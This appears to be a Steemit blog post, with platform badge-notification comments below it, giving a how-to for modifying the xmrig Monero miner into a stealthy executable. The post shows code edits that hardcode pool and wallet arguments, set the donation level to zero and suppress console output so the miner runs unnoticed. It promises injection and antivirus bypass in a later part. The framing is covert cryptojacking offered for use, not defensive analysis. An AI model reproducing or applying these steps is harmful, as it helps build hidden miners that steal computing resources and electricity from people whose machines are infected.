[HowTo] Create, inject & AV ByPass Crypto Miner

in #miner6 years ago

Compiling custom XMR miner

Overview

Welcome to balling with basedMel. We'll start our [HowTo] Series with the creation of a custom miner that just suits our needs. We'll have to fork, slightly edit and compile xmrig. Feel free to use any other miner. Let's get to it.

Fork

git clone https://github.com/xmrig/xmrig

Customize

Donation

I value the devs and usually keep the donation fee (5%) by default but if you want to be extra greedy you can just edit donate.h like this

constexpr const int kDefaultDonateLevel = 0;
constexpr const int kMinimumDonateLevel = 0;

Hardcoded config

If you want your miner to be as stealthy as possible you might wanna hardcode your startup arguments instead of providing an additional config file or worry about argument passing after execution. Here's how.

Open App.cpp

int hardnumargs = 3;
static char* hardargs[] = { "-B", "-oPOOLADDR:PORT", "-uWalletAddress, NULL};

edit the values so that they fit your config and make sure that hardnumargs corresponds to the amount of arguments u pass.

Then make sure that your hardcoded arguments are being used.

if (m_controller->init(hardnumargs, hardargs)) {
return;
}

No console Output

You might wanna make sure that no console output appears after execution. To accomplish this, simply comment out a single line in Console.cpp. Like this
if (nread == 1) {
//static_cast<Console*>(stream->data)->m_listener->onConsoleCommand(buf->base[0]);
}

Compile

Now you simply follow the remaining build options from the xmrig github instructions. Et voila, you've got yourself an executabel ready to be deployed.

How to inject it and bypass AV's and much more will be covered in the second part of my series. I might even create a video series.

Mine 'til you shine,
BasedMel

Sort:  

Congratulations @basedmel! You have completed the following achievement on the Steem blockchain and have been rewarded with new badge(s) :

You published your First Post

Click here to view your Board
If you no longer want to receive notifications, reply to this comment with the word STOP

Support SteemitBoard's project! Vote for its witness and get one more award!

@basedmel, thank you for supporting @steemitboard as a witness.

Here is a small present to show our gratitude
Click on the badge to view your Board of Honor.

Once again, thanks for your support!

Do not miss the last post from @steemitboard:

SteemWhales has officially moved to SteemitBoard Ranking
SteemitBoard - Witness Update